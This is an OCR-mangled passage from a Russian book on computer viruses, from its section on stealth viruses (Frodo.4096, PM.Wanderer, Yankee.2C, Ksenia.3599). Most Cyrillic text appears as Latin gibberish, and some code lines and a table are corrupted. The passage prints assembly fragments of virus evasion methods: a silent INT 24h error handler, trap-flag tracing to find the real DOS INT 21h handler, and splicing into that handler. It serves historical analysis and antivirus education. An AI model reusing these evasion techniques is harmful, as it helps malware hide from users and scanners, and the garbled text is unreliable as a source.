OT0T BUPYC NpeBoCXoanT BCE MbIC/IMMbIE MPEAEsIbl 3aTpaTthkl TPyAA. ..
MHe npeacTaBnseTcs, 4TO YHUBEPCAJIbHbIM CTOPOX, KOTOPbLIV OOHa-
PY>Xuns 6bl 0siBJIEHWE B MalLVHE 3TOro BUpYyca, AOIKEH rpocmar-
pviBaTb Karasaorv He ctaHaapTHbiMu cpeacteamu MS-DOS, a yepes
npsIMoe CYUTbIBAHWE CEKTOPOB, MOCKOJIbKY BCE CpencTBa AOCTyrna
K ¢aviniaMm oTharoT rnporpamMmamMm HGopMaUu, N3 KOTOPOU yaaieHbl
BCe cnieabl AessTE/IbHOCTY BYPYCa.

TToHATHO, YTO AHTUBUPYC, YCTPOEHHBIN TAKUM 00PA30M, TOJKEH GBI
BOCIIPOU3BOJIUTH CBOUME CpeficTBaMu HeMmasyio dactb MS-DOS, 1o
KpaitHell Mepe Bcio ee (dailyioByIo cucreMy!

Eute cunbhee srevarsiuim Stealth-supycst H. H. Beapykosa:

...9TO NpUMeEPHO 6 ThiCS4 CTPOK MCXOAHOIo TEKCTA, TO €CTb OT He-
CKOJIbKUIX MEecCSILIeB [10 rofa yropHow paboThl...

3abaBHO, UTO B Te BpeMeHa HUKTO TaK M He PACKPBLI «CTPAIIHYIO Tali-
HY» BUpyca. ToJIbKo HECKOJIBKO JIET cItycTs, B cepenuie 90-X rofos, Koria
ncxomaubie TekeTol Frodo.4096 (1 momoOHBIX eMy BUPYCOB) CTAIH TOCTYTI-
HBI [IIUPOKOU OOIIECTBEHHOCTH, BBISICHUIOCH, YTO OHU TIPOCTO-HATIPOCTO
comepkar B cebe MHOKECTBO (hparMEeHTOB OPUTHHAILHOTO (hHPMEHHOTO
KoJla OjiHOM u3 panHux Bepcuit MS-DOS. 3auem mnucaTh ¢ HYJIsI, KO/
MOJKHO BOCIIOJIb30BAThCSI TOTOBBIMU Pa3paboTKaMu?

Bripouem, 3amermaTebcTBO BUPYCOJOTOB MPOAOJIKAIOCH HETOJTO.
Jlo/kHbl ObLIM HalTHCH OOJIee MPOCThIe U JIelieBble CII0COObI IIPOTUBO-
MEMCTBYSI BUPYCY, U OHU JIOBOJBHO OBICTPO HANINCE. Vest 3ak/miouanach
B TOM, 4TOOBI 0OpaIaThes HanpaAMyio Kk cepsrcaM MS-DOS, munyst xut-
POYMHBIE BUPYCHBIE 06paBGOTUNKI. A JIJIsT HTOTO I0CTATOYHO OBLIO 3HATH
<UCTUHHBII» aipec TOUYKU BXOJA B 9TU CEPBUCHI — HE TOT, KOTOPBIN yKa-
3aH B TabJIUIIE BEKTOPOB ITPEPBIBAHUIL, 2 TOT, KOTOPBIN PACTIOJIOKEH T/1€-TO
rIy6OKO B HeIpax siipa OlepParinoHHON CHCTEMBI.

Bupyc Frodo.4096 661 nmobesx/eH, HO U BUPYCOIKCATEIN HE ApeMa-
s, OHu m3o6peranu Bee Oosiee U30IIPEHHbIE CITOCOOBI COKPHITUST CBOUX
«UBJIEeJMii» OT TJIa3 MmoJib3oBaTeeil 1 Bupycosoros. IIpu atom Stealth-
TEXHOJIOTMHY pa3pabaThIBAJINCh 110 PA3HBIM HATIPABJICHUSIM:
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O He #aTh MOJIH30BATENIO BO3MOKHOCTD 3AII0I03PUTh (DAKT HATIMYUS
BUPYCA B CUCTEME;

O  «cnpsaTaThCs» OT AHTHUBUPYCA-CKAHEP;

Q oboiitn «Gapbepbl», MOCTABJIEHHBIE PE3UAECHTHBIMU aHTHBUPYCA-
MH-OJIOKMPOBIIKAMI.

KpaitHe cI0XHYIO TEXHOJIOTHIO «HEBUIMMOCTH» FICIIOJb30BAT HEKTO
P. Demenuk B cBoem Bupyce PM.Wanderer. Emy yanoch BbIiiTH 32 11pe-
ZleJIbl BO3MOKHOCTEH, IOCTYITHBIX B CTAHAAPTHOM PEXKUMe TIPOIECCOPOB
Intel. ABTop BUpYycCa, MOJIB3YSICh OCOOEHHOCTSIME 3aI[UIEHHOTO PEKHU-
Ma (peub O HeM MOWeT B Halllell KHUTe Jajbllie — B TJIaBe, MOCBSIIIEH-
Holl Windows-Bupycam), cosiaj [Ba <lapaJuleIbHbIX POCTPAHCTBAY:
B OJTHOM <KWJI» BUPYC, & B IPYTOM — OCTayibHbie TTporpammbl MS-DOS
(B ToM unciie u antusupycer). K cuactpio, PM.Wanderer okasajics He
CJIUIIKOM TIPUCIIOCOOJIEHHBIM K TUIIMYHBIM [TPOTPAMMHO-ANIAPATHBIM
KOH(UTYPAIHSIM, UCIOIB3yeMbIM OOJBITMHCTBOM MOJIb3oBaTesei. [la u
He coOUpaJICst aBTOP BBIIYCKATh CBOI BUPYC B «60JIbINON cBeT». IToTpsice-
HUE VCIIBITAJIU JINIIH BUPYCOJIOTH, M3YYaBIIKMe ATOT YHUKAIBHbIN 06paselr
«2JIEKTPOHHOH (hayHBI».

Tem He MeHee 1 ATOT BUPYC He TIOCTABUII IIE€PEJl BUPYCOTIOTaMU Hepaspe-
muMoit 3agayn. Kax /171 aToro BUpyca, Tak U JIJIs1 BCeX OCTATbHBIX «HEBH/IH-
MOK» BUPYCOJIOTH BCET/IA C YCIIEXOM pa3pabaThiBaId MOIITHbIE U Ha/leKHbBIE
AJITOPUTMBI, OIIPOBEPraioliiie M3bICKAHUS BUpycorucareseil. Brpodewm,
€cIM PacCMOTPETh MPOOJIEMY ¢ TOUKH 3PEHHsI 31PaBOro0 CMbICJIA, TO He-
TPY/HO IPUHATH K BBIBOJLY, UTO AHTUBUPYCHbBIE U3BICKAHWS B 9TON 06acTh
XOTsI UHTEPECHBI U YBJIEKATEIbHbI, HO OIHOBPEMEHHO W MaJIOAKTYaJIbHBI,
Bellb Stealth-mexanusmbl 10 onpesiesieHno paboTAIOT JUIITh B «IPSISHOI»
(To ecTb B y’Ke 3apaskeHHOIT) cucteme! A 9TO 3HAYUT, UTO BCE XUTPOMYPOE
MHOTOOGpasie MaCKUPYIOIIUX BUPYCHBIX aJTOPUTMOB JIETKO OIPOBEpra-
€TCsl MCIOJIb30BAHUEM OY€HD TIPOCTOTO PEIENTa: HeOOXOAUMO 3aIyCKaTh
AHTUBUPYC, 3aTPY3UBIINCH ¢ HOcUTes (jirckeTsr, CD-ucKa, Apyroro BUH-
YyecTepa U T. I1.) € 3aBEZIOMO «UUCTOI» OTIePAIlMOHHON cUCTeMOi!

Tem He MeHee TOCKOJIBKY TeMa 60pbObI co Stealth-TexHosmorusmu neii-
CTBUTEJIBHO OYEHb WHTEPECHA W MOYUYMTEJNbHA, TO BCE K€ PACCMOTPUM
nopo6Hee HanboJIee YacTo UCIIOMB3YIONINECST DIEMEHTBI 9TON TEXHOJIO-
TUH ¥ CIIOCOOBI TIPOTHBOEHCTBIS M. TeM GoJiee 4TO HEKOTOPBIE U3 HUX
MIUPOKO MPUMEHSTIOTCS U B 9110Xy Windows-BUpycoB.

3.7.1. «[lcnxonornyeckas» HEBMAUMOCTDb

B nepBy1o ouepens BUPYCHI CTApPAIOTCsI, KOHETHO JKe, CKPBIBATHCS OT HOJTh-
3oBaresisg. CyIiecTByeT Psiji TPOCTBIX MPUEMOB, HANPABJICHHBIX HA TO,
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uyTo6bl paboTa MporpaMM, 3apaskeHHBIX BUPYCAMH, He OTaudasach (1o
KpaiiHeil Mepe, BHeIIHE) OT paboThl «3J0POBBIX» MporpamMM. X moryt
WCIIOJIB30BATD JIa’Ke HEPE3UIEHTHBIE «3JIOBPEbI».

Bo-mepBuIX, BUPYCBI CTAPAIOTCS COXPAHITh HEM3MEHHBIMU JIATY U Bpe-
M CO3/IaHMS 3apakaeMbIX aiioB. JleficTBUTEIbHO, TIPU TPOCMOTPE Ka-
tasioros B Norton Commander’e wiu 1ipu nomonu komanzibl « DIR» daii-
JIBI C «CETO/IHSTITHEH» AaTOI TTOCJIeTHETO IOCTYIIA BBIIESIOTCS IOBOJIBHO
PEe3KO, UYTO MOJKET BBI3BATh HEJIOYMEHMUE JIaske ¥ He OYeHb BHUMATEJIbHOTO
noJp3oBaresisd. [109ToMy «rpaMOTHO» HAIMICAHHBIE BUPYCHI IIepe]] OTKPbI-
THEeM 3apakaeMoro daiiia omnpenessioT 1aTy 1 BPeMsI ero CO3/IaHus MPH
oMoy GyHKIKUK 57h, a mocJie 3akphITH TAKUM e 00pa3soM BOCCTaHAB-
JINBAIOT TIPEsKIee 3HAYEHITE.

Bo-BTOPBIX, BUPYCHI CTapatoTcst 06pabarbiBaTh OMIMOKH BBO/IA-BbIBO-
na. B crappix cratbax u kaurax (konma 1980-x rogos) Hepenko MOKHO
OBLIO BCTPETUTh IPUMEPHO BOT TAKYI0 XapaKTEPUCTUKY KaKOTO-HUOY/Ib
BUpYycCa:

...Mpwy nonbiTke 3apaxeHnss 3TUM BUPYCOM arisa, pasmMeLjeHHOro
Ha 3alUunLLEeHHOM OT 3anUCcu ANCKeTe, Ha 9KPaH Bbl4aeTcs CO0bLeHne
«Write protect error — A (Abort), R (Retry), I (Ignore), F(Fail)»...

[Ipoucxoanut 9TO MOTOMY, UTO 3 BBITIOJIHEHNEM (DAITOBBIX OTIepaIiii
B MS-DOS «Habo1aeTs creluaibiast KOHTPOJIUPYIONIAst MOACUCTEMA,
B CJIyYae BOSHUKHOBEHMUsI OITUOKK BBI3bIBAIOTIAsI TIPEPBIBAHIE C HOMEPOM
24h. Tlo ymomuaHuto 00pabOTUYUK 3TOTO TPEPBIBAHKS 0TOOPakkaeT BOC-
MIPOU3BEIEHHOE BBITIE COOBIIEHNE U JKIET HAKATUSA Ha OJHY U3 MPEJIO-
JKEHHBIX KJIABUIIL

Ecau nosib3oBaresib BoIOMpaeT «A», TO TPOrpaMma, BbI3BABIIAsI 9Ty
onbKy, «yOuBaeTcs» caMoii orepaluoHHoii cucreMoil. O6paboTYNK MH-
opMuUpYyeT OTepauoOHHYI0 CUCTEMY O TAKOM DPeIeHUU T0JIh30BaTEs,
niomerias B peructp AL 3nayenue 2.

Eciu monb3oBaresb BoiOupaer «R», TO onepaiuoHHast CUCTEMA IIbl-
TAeTCsl YIPSIMO MOBTOPUTH CHCTEMHYIO OTIEPAIIIO, BHI3BABINYIO OIINOKY.
Takoii «IMOCTYNOK» BIIOJIHE JIOTWYEH, Be/lb MOJb30BAaTETh 4acTO MMEET
BO3MOKHOCTh YCTPAHUTh MCTOUYHUK ONIMOKU (HAIPUMEp, MEPEIBUHYTH
3aIUTHOE <OKOIEYKo» Ha nuckere). B peructp AL momerntaercs 3Have-
aue 1.

Eciii mosib3oBatesib BbIOUpaeT «I», T omepaliioHHast CUcTeMa UTHOPH-
pyer omubKy ¥ BO3BpAIaeT yIpaBaeHie MporpaMMe, He HHHOPMUPYST ee
o HenrratHoli cutyarnuu. Peructp AL nipu aTom conepskut kog 0.
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Haxower, eciiu nosib3oBaTesb BoiGupaet «F», T0 onepannonnas cucre-
Ma BO3BpAIIAeT yIIpaBJieHue IPorpaMme, BoictaBus 6ut Carry B perucrpe
(braros, 1 3armoMUHAET B CBOMX BHYTPEHHUX MEPEMEHHBIX YMCIOBOI KO,
MOSICHSONTIIT IPUYNHY 5TO# omubku. TIporpaMma MOKeET <«3alpOCUTh>
ATOT KOJI (2 BCEro MX HECKOJIBKO JAECATKOB) TpH moMomy ¢pyHkuun 59h
U CaMOCTOSITEIbHO IPUHATH PellleHre O CBOUX JaJbHEHIINX JAeiCTBUIX.
O06paboTurK e JaKOHUYHO BO3BpaIlaer B peructpe AL snauenue 3.

ITpodeccroHaIbHO HATHCAHHbBIE TIPOTPAMMBI COZIEPIKAT COOCTBEHHbIE
obpaboTunku ipepbiBanus 24h. Hanpumep, Norton Commander mipu Bos-
HUKHOBEHWU «KPUTUYECKON» OIMUOKM BMECTO MPOIUTHPOBAHHOTO BhIIIIE
6J1eTHO-CePOTO CO0OIIEHNsT Ha YepPHOM (hOHe BBIBOIUT Ha 9KPaH KPACUBYIO
KPacHYIO PaMKy, IIpe/iyiarast BBIOpATh THIT PEAKITHN TPOTPAMMBI B PESKIME
MEHIO... 4TO, B 00I1EM-T0, aGCOTIOTHO HE MEHSET CYTHU TIPOUCXOSIIHUX [TPU
3TOM TIPOTIECCOB.

TTouemy GBI B TOYHOCTH TAK K€ HE MOCTYIaTh 1 BUpycy? OGbIYHO BUPY-
ChI KPaTKOBPEMEHHO IIepexXBaThIBatOT IpepbiBanue 24h mepes mombITKON
OTKPBITHSA (C YCTAHOBJIECHHBIM IIPU3HAKOM pas3peliennd 3anucu: koj 1 nimm
2 B peructpe AL) 3apaskaemoro daiina. O6paboTUrK 5TOr0 IpephIBaHK B
BUPYCE BLITJIAIUT TPUMUTUBHO!

Int24:
mov al, 3
iret

Eci mpoucxoaut ommbOKa, T0 (QYHKIHMSI-«HEYIaqHUIa> BO3BPAIacT
BUPYCY yIIpaBJeHUE ¢ YCTaHOBJIEHHBIM B enHuILy 6Gutom Carry, uto ciy-
SKUT /U1 Hero IpeiocTepeskeHueM: IIPOI0JIKEeHNE TONBITKN 3apakKeHus
aTOrO (haiina HeresecoobpasHo. Bupyc «6eskut Haza | MATKAMI», a MOJb-
30Baresb TaK HUYETO U He 3aMevaet.

CreyeT TakKe yIOMSHYTb YUCTO MICUXOJIOTUYECKUE «TPIOKU», KOTO-
pble XOTS ¥ IPUMEHSIIOTCST OU€Hb HEYacTo, HO IOBOJIbHO 3a6aBHbL. CBsi3a-
HBI OHU C «MAaCKMPOBKOI» YBeJUYEHUS JITMHBI (haiijia 1 pacCYuTaHbl HA
COBCEM Y’K HEBHUMATEJIBHOIO 110Jb30BaTesd. Hanpumep, nnoraa MosxxHo
U He 3aMeTUTD YBeJWYeHUe JUIMHDL, TIPOU30IIe/lIIee Ha «KPYTIyIO» BeJIu-
unHy. TaksKe TCUXOJIOTMYECKH HEMPOCTO 0OpaTHTh BHUMAHNE He Ha Kap-
JIMHAIBHOE U3MEHEHNe, HO Ha «TIePeryTaHuILy» 1udp.

PROGRAMO EXE 12 345 17.09.01 ; "3popoBas”™ nporpamma
PROGRAM1 EXE 14 345 17.09.01 ; MNporpamMma "nonpasunacb” Ha 2000 6aiToB

PROGRAM2 EXE 14 325 17.09.01 ; "lMepenyTanuchb” undpsl
3 ¢aina 51 015 GaiToB

PaSyMeeTCH, TIpOTrpaMMa-aHTUBUPYC BCEX BBIMCOTMCAHHBIX YXUIIPE-
HUN TIPOCTO HE 3aMETHUT. He na nee ato paccumnTaHo.



Bupycbl-«HeBUAMMKIAY < 143

3.7.2. Mpsamoe obpalweHne K cucreme

WrTax, 11st JOCTU/KEHMS <IIOJHON U OKOHYATEeNbHON 1100ebl» U BUPYCHI,
U aHTUBUPYCHI CTPEMSTCS ONPEJEUTh <UCTUHHBII» ajgpec 06paboTunKa
MS-DOS, paciiosiokeHHbIii Ie-To B sape cucteMbl. Obpaiiasich Hampsi-
MYIO 10 3TOMY aJIPECY, MOKHO HE TOJIbKO ObITh YBEPEHHBIM B aJl€KBaTHOM
BBITTOJIHEHUH COOCTBEHHBIX aITOPUTMOB, HO U TIPEMSTCTBOBATE paboTe aj-
TOPUTMOB <ITPOTUBHUKA»>. BOMCTHHY, «KTO TIEPBLIM BCTAJ, TOTO U TAITKH» |

ITpesxiie Bcero HEOOXOIUMO OTIPEIETUTHCS, YTO CUUTATH <UCTHHHBIM»
anpecom obpaborunka npepoisarus 21h.

Anpo MS-DOS pannux Bepcuii Bcer/ia pacrosiarajoch B HUZKHUX ajipe-
cax namsti. Haunnas ¢ Bepcun 4.0 mosiBUIach ajgbrepHATHBA: TTOMEITAst
B koHdwuryparmonnbiii (aitn  CONFIG.SYS crpouxky DOS=HIGH,
UMB, MokHO ObLIO pasMmelnaTbh 9To PO Tae-To B obmactax HMA u
UMB. Ho u B aTOM ciiy4ae B HIDKHUX aJipecax MaMsATH BCe PaBHO OCTa-
BAJICST <TIEPEXOIHUK> — HeGOBIION (hParMeHT, «IepechUIAOIIUii> yIpaBs-
JieHue Ha OCHOBHOE SI/IPO:

nop

nop

call Check_A20 ; lposepka cTaTyca afpecHOn NUHWUK
jmp  cs: dword ptr DOS ; Nepexopn Ha aapo

Ecin sxe mosib3oBaTesb 0TKAa3bIBAJICS OT 3aTPY3KH s1/Ipa B CTapIIIKeE ajipe-
ca O3Y, To «11epexoiHuK» Bce PABHO MPUCYTCTBOBAJ B HIKHUX a/ipecax,
TOJIBKO MIMEJI OH YTIPOIIEHHBIN BUJI U COCTOSIJI BCETO M3 OJTHONW KOMAaH/IbI
«JMP>». B oboux ciyuasix aapec B mozuruu 0:84h tabmisl BEKTOPOB Mpe-
PBIBAHUII CPa3y IOCJIEe 3arPy3KU «UUCTOI» CUCTEMbI YKA3bIBAI UMEHHO HA
ITOT «IIE€PEXOMHUK» ¥ JIUIIbh TIOTOM U3MEHSJICS B Pe3yJIbTaTe MHOTOUNUC-
JIEHHBIX TIePEXBATOB IIPEPBIBAHNS CO CTOPOHBI PE3UIEHTHBIX JPAiiBEPOB 1
CEPBUCHBIX YTUJIUT. TaKoe MOJOKEHME JIeJT 0 CUX TTOP OCTAETCS BEPHBIM
naske st Bepeuit MS-DOS, 3amyckatomuxcst B DOS-ceccusix coBpemMeH-
HBIX orepaiinoHHbIxX cucteM Windows 9X u NT.

CaM ke «OCHOBHOI» 06paboTunK, pachosaratoruiics B siipe MS-DOS,
BBITJISITUT IPUMEPHO TaK:

CLT

CMP AH, 73h

JA MO ; Ha oBpaboTky "HOBbIX" ¢yHKUMA (Dos > 7.X)
CMP AH, 33h

JB M1 ; Ha obpaboTky “paHHux” ¢oyHkumui (Dos < 2.0)
Jz M2 ; Ha obpaboTky cepBucHoi dyHKuUMKM 330

CMP AH, 64h
JA M3 . Ha obpaboTky “pacuvpeHHbx” oyHkumin (Dos > 4.0)
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Jz M4 ; Ha 06paboTky cepBuCHOM ¢yHKUMYM B4h
CMP AH, 51h
Jz M5 ; Ha 06paboTky cepBuCHOM ¢yHKUMM 51h
CMP AH, 50h
JZ M6 ; Ha o6paboTky cepBucHoln ¢yHKumu 50h
CMP AH, 62h
Jz M7 ; Ha 06paboTky cepBuCHOM ¢yHKUMM 62h

Buzno, uTo B pe3ysbraTe MHOTOUYHCJIEHHBIX IIPOBEPOK KO (DYHKITHIN
06paboTUNK PACTEKAETCS HA PAJL «PYKaBOB». B maibHeeM Kaskablil 13
ATUX «PYKABOB» TAK/KE PA3JENSETCSA Ha PSJI «PYyUEKOB», U IOA06HOE Jie-
JIeHVE TPOIOJIKAETCS JI0 TEX MOP, MOKa yIpaBjieHue He GyaeT mepeaaHo
Ha TIPOLIeTyPY, PeATN3yIOIyi0 KOHKPETHYIO CePBUCHYIO MYHKITHIO. Tak:ke
MOJIe3HO 0OPATUTh BHUMAHWE, YTO GOJBIIMHCTBO CEPBUCHBIX (DYHKIHUIA,
UCIIOJIB3YeMbIX BUpycamu (To ecTb yHKIMii ¢ Kogamu ot 34h u Gobiie),
06pabaThIBaIOTCA B OZHOM 00IIEM «pydeiiKes.

Tak 4TO JKe CYUTATh «UCTHHHBIM» a[PecOM 00pabOTUNKA CEPBUCHOIT
(YHKITUH: aipec «epexoHuKa», aipec MepBoil KoMaH bl 001ero obpa-
6orunka (B HaiieM npuMepe ato komanzaa «CLI»), agpec Hauasa cooTser-
CTBYIOIIIETO «pYyYelikay MJIN 1ake ajipec hparMeHTa Kojia, HEOCPEICTBEH-
HO 00pabGaThIBAIOIIErO 3Ty (DYHKIINIO?

Pasymeercst, eci 3HaTh 3HAYEHUsT BCEX ATHUX aPECOB U IepelaBaTh
yIpaBJIeHUE HETOCPEICTBEHHO HA HUX, TO PE3YJIbraT paboThl CEPBUCHOMN
(YHKITH BO BeeX caydasax Oy/IeT ofInHAKOBBIM. 3HAUNT, BCE ATH ajipeca —
«TpaBUsIbHBIe>. HO MPEenMyIecTBo MOMYIUT Ta TIPOTpaMMa, KOTopast 06-
paruTcs B 6oiee «rryboKyI0» TOUKY.

Tak Kax ke UCKaTh 9TH ajpeca?

3.7.2.1. Memoo npedonpedenennvix aopecos

MO3KHO ITPOCTO 3HATH 3HAYECHST ITUX A/[PECOB JIJISI PA3HBIX BEPCUH OTIe-
PaIMOHHOI cucTeMbI M 0OPAIATHCS K HUM, BHIOMPAst U3 3apaHee 3aroToB-
JeHHoi Tabimuky (cm. Tadu. 3.1).

Ho mporpecc #e crout Ha Mecte, U J0ObIe aHHbIE TIOA0GHOTO COpTa
HemMuHyeMo ycrapeBaioT. Tak, Hanpumep, supyc Terror.1085 «suan> u
HCIIOJIb30BAJT TOJIBKO TIOCTEAHIE TPU CTPOUKY ATON TaBINYKU U JaKe He
MPEJINoJIaraj, 4To MosiBATCS APyTue, 6osiee COBEPIIEHHbIE BEPCUH OTlepa-
IIMOHHOI CHCTEMBL. B pesyJisraTe NCTOPUS €ro OKOHYMIIACh BMECTE C T10-
asnaearem MS-DOS v4.01.

JlJIsi KOPPEKTHOTO WCIIOJNB30BAHUS TOTO METO/A Hajlo ObITh YBEPEH-
HBIM, U4TO TEKYIIeH BEPCUM OMEPAIMOHHOIN CHCTEMbI COOTBETCTBYET Ka-
Kasg-mbo cTpoka B Tabiuuke. Ecam ske 970 He Tak, TO MPUXOAUTCS UC-
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M0JIb30BATh JIPYTUe CIIOCOObI MOUCKA <UCTUHHOTO> ajipeca 00paboTunka

npepoisanus 21h.

Tabnuuya 3.1. Agpeca xapakTepHbIX y4aCTKOB A4J11 pa3HbIX BePCUii

MS-DOS

Bepcus MS-DOS :::Hp:'('» 0Gpa6oT4mnK «ocsliz':a"”
7X 00C9h:0FB2h | FFO3h:41E9h | FFO3h:420Ah
6.X, dos=high, device=himem.sys 0123h:109Eh | FDC8h:40F8h | FDC8h:411Bh
6.X, dos=high 0123h:109Eh | 03ACh:40F8h | 03ACh:411Bh
6.X - 002Ah:40F8h [002Ah:411Bh
5.X, dos=high, device=himem.sys 0123h:109Eh | FDC8h:40Ebh | FDC8h:410Eh
5.X, dos=high 0123h:109Eh | 03ACh:40F8h | 03Ach:411Bh
5X - 002Ah:40Ebh [ 002Ah:410Eh
3.30 0070h:05DCh | 0294h:1460h |0294h:1480h
3.20 0070h:17D0Oh | - -
3.10 0070h:0D43h |- -

3.7.2.2. Memoo mpaccupoexu npepviéanus

ITOT KPACUBBII M BaXKHBIII METO/[ OCHOBAH Ha MCIIOJIb30BAHUU MeXa-
HU3Ma <«OTJA[OYHOTO» TIPEPBhIBAHNUs. /€710 B TOM, UTO €cjii B perucrpe
dararos npoieccopa ycraHosjieH B equnHuiy out TF (BochMoil), To mociie
BBITIOTHEH WS KAXK/IOH 04epeIHoit KOMaHIbl GyeT BO3OYKAATCS TTPEPhI-
Banue ¢ HoMepom 1 (amapec ero obpaboTyrka pacrosaraeTcss B TabJIvIe
BeKTOPOB rpepbiBanuii B no3unnu 0:4). [Ipu BbI3oBe aTOrO MpepbhiBaHus
6ut TF cOpacbiBaercs, u mporeaypa o6paboTKy pepbiBaHus paboTaer
B «00braHOM» peskume. ITocie Boimontenust komanasl «IRET» us creka
U3BJIEKAETCS BMECTE C a/[PECOM OUYePeTHON BBIITOJHEHHO KOMAH/IbI CTa-
poe 3HaueHue peructpa ¢Jaros (¢ ycranosieHubiM 6utom TF), u Tpaccu-
POBKA TIPOJIOJHKAETCSA. ITOT MEXAHU3M OYeHb YI0OEH JUIsi OpraHu3aIun
<IIOIIArOBOT0» BBITIOJHEHNUS IIPOTPAMM U UCTIOIb3YEeTCsl, HATPUMED, B OT-
JIATINKAX.

Ha 06paboTyrk «OTJIaJ04HOT0» MPEPHIBAHUSA MOKHO BO3JIOKUTH 3a-
Jady OTCJIEKUBAHUS a/ipeca TEKYyIeil NCIoTHIeMol koMaH/bsl. Bot kak
sHamenuThiii Bupyc Yankee.2C (M2C-2883) 1ciio/ib30Bas BO3MOKHOCTH
HTOTO MEXaHU3MA TSt TIONCKA «UCTHHHOTO» ajipeca 06paboTurKa mpephi-
Banus 21h.

[ar 1. Cravana BUpyC MepexBaThIBAJ «0TJIAJI0YHOE> TIPEPhIBAHUE.

ax, 3501
21h

mov
int
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mov si, bx
mov  di, es

mov  ax, 2501h
mov  dx, offset Int01 ; CmeweHne cobCTBEHHOTO 00paboOTUMKA
int 21h

IMar 2. 3arem on «B3Boau» 6ut TF B peructpe ¢Jaros:

pushf ; CoxpaHuTb Onaru B cTeke
pop ax ; Borpysutb mx B AX
or ax,100h ; YcTaHaBnusaem B ax ouT TF

[Tar 3. Hakower, on 3aHocus B cTek (praru, cMellleHue U CErMeHT Te-
KYILEro 3Hadenus agpeca oopadorynka npepbiBanua 21h 1 BbIsbIBaI KO-
manay «IRET». Ilo aToil komMaH/ie U3BJIEKATUCh COXPAaHEHHbIE B CTEKe
3HAYEHWS, U YIIPABJIEHHE [TePe/IaBaOCh HA YKAa3aHHBIN aJipec.

push ax ; CoxpaHuTb ¢naru ¢ 6utom TF=1 B cTeke
push cs ; CerMeHT TO4kM nepexona

push ax ;. CmeuweHvne To4YkM nepexopa

iret

Ho nockombky 6ut TF ObL1 Tenepb yCTaHOBJIEH, TO HAYUHASI C 3TOTO
MOMEHTa UCTIOTHEHUE TTPOTPAMMBI PETYJISPHO MPEPLIBAJIOCH C Tepeaavcit
yrpasjieHust Ha 00paboTYNK «OTJIaI0UHOTO» MPEPHIBAHUA. A BOT KaK BbI-
[JISIIETI CaM 9TOT 00PadOTUHK:

B cTeke:

ss:[bp+6] - dnaru

ss:[bp+4] - CS Tekyuen WCNONHAEMON KOMaHAbl
ss:[bp+2] - IP Tekyueh WCNONHAEMON KOMaHAbl

Int01:

push bp
ss:[bp] - 3Ha4eHue peructpa BP

mov  bp, sp
cmp  word ptr [bp+4],300h . CS B cTeke < 300h 7?7
jb Found o la - pownw po sapa
pop  bp . HeT - TpaccupoBaTb aanee
iret

Found:
push bx
mov  bx, [bp+2] . B3aTb us cTeka IP
mov  ¢s:Save_IP, bx
mov  bx, [bp+4] . B3aTb us cTeka CS
mov  ¢s:Save_CS, bx
pop  bx

and  word ptr [bp+6], OFEFFh ©but TF =0
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pop  bp
iret ; OkoH4aTenbHbI BbXOA 13 00paboTKM

AHATM3UPYSI BbIIIENPUBEIEHHbII (PArMeHT, HECJIOXKHO TIPUNTH K BbI-
Boty, uto Bupyc Yankee.2C oGHapy/KUBAJ B JIyUIleM CIydae JUIb apec
«TIEPEXOHUKA», PACIOJNATAIONIErocs B HIWKHUX ajipecax namstu. [luas
TOr0 4TOOBI MPOHUKHYTH B SAPO TJIyOKe, 0OPAdOTUMK <«OTIAJ0THOTO>
MIPEPhIBAHUS JOJKEH OBITh O0JIee «MHTEIEKTYalbHbIM»>. BoJee mosaHue
Bupychl, Hanpumep PM.Wanderer, nbitanich aHaIu3upoBaTh CTPYKTY-
DY «II€PEXOIHUKA» — UCKAJU IIE-TO B €T0 «OKPECTHOCTSIX» TOUKHU BXOJA
B KomMaHy «JMP» u nepexo/iuin Ha yKa3aHHBIH B Heil axpec. BeposTHo,
BO3MOJKEH 1 elle 0oJjiee «IIPOABUHYTHII» aJTOPUTM, KOTOPBIUA TPOHIKAJL
OBl ellie JasIbliie 1 JOXO/II OBl 10 «PasBUIIOK» CTAHAAPTHOTO 00paboTdu-
ka npepbiBanusa 21h.

MHora MONCK <«MCTUHHOTO» ajipeca 06paboTUNKA TTPEPLIBAHUST METO-
JIOM TPACCUPOBKU HA3bIBAIOT KOPOTKUM CJIOBOM <«myHHenunez». Cuemnyer
TaKXKe OTMETUTh, UYTO BUPYCOMUCATENU HEPEIKO BBIMOJHIAIOT «TyHHe-
JIMHT» He TOJIbKO JIJIs TOrO, YTOObI HAIIPAMYIO 00paIiaThCs K CUCTEMHO-
My cepBucy MS-DOS, HO 1 4TOObBI OCYIECTBUTD TOBOJBHO HEOOBIYHBIN
criocob mepexsaTa 3Toro npepbiBanist. Criocod 0OCHOBaH He Ha MI3MEHEHU U
3HAYEHUS ajipeca B TaOJIUIIe BEKTOPOB IPEPLIBAHMST, HO HA «BCTPAUBAHUN»
B CTaHAAPTHBINH 06paboTunk npepbiBanus 21h komau/b epexoa Ha co6-
CTBeHHBIN KoJ. Hampumep, BOT Kak BBITJISIZUT 9TOT MPUEM <«B HCIIOJIHE-
nun» Bupyca Ksenia.3599: smecrto aByx xomana «NOP» (uHTEpecHO,
paspaborunku u3 GupMmbl Microsoft «1103a0bLI» UX TYT CHEIUATBHO?)
BHUPYC BCTABJISIET CBOI0 KOMAH/y BBI30BA HECTAHIAPTHOTO TIPEPLIBAHUSI

0B1h.

C9:0FB2 CDB1 int B1 ; <- nepexsaT ynpasfeHus BUPYCOM
C9:0FB4 E8CEQO call Check_A20
C9:0FB7 2EFF2E820F jmp dword ptr CS:[0F82]

Pasymeercst, B 1103UIUN BEKTOPA TOTO MPEPBIBAHUS PACIIOJIATAETCS
ajipec BUPYCHOTO 00paboTyrKa, KOTOPBIH MpU 00paIlieHusax K CepBrcaM
MS-DOS co cTopoHbI IPUKJIAIHBIX TPOTPAMM CIIEPBA JIEAET CBOE <UepP-
HOE JIeJIO> W JIVIIB TIOTOM BO3BpAIlaeT yIpaBJeHne CTaHapTHOMy o6pa-
6otunky B TouKy ¢ agpecom 0C9h:0FB4h.

JTa 0BOJIbHO CJIOKHAST TEXHOJIOTHS TT€PEXBATA ITPEPHIBAHUIT HATIOMU-
HaeT «cpaluBaine» IByX 00paboTYNKOB — BUPYCHOTO U CTAHAAPTHOTO —
U MOTOMY HOCUT HAMMEHOBaHUE «Cuiaaticunzs (aHri. to splice — cruierats,
cpamuBath). OHa XapakTepHa /Il BBICOKOCJIOKHBIX BUPYCOB CEPEIUHbI
90-x rogos XX Bexka. 0. Kocus1os B craThe, OIyOJIMKOBAHHOIL B Ky pHAIe
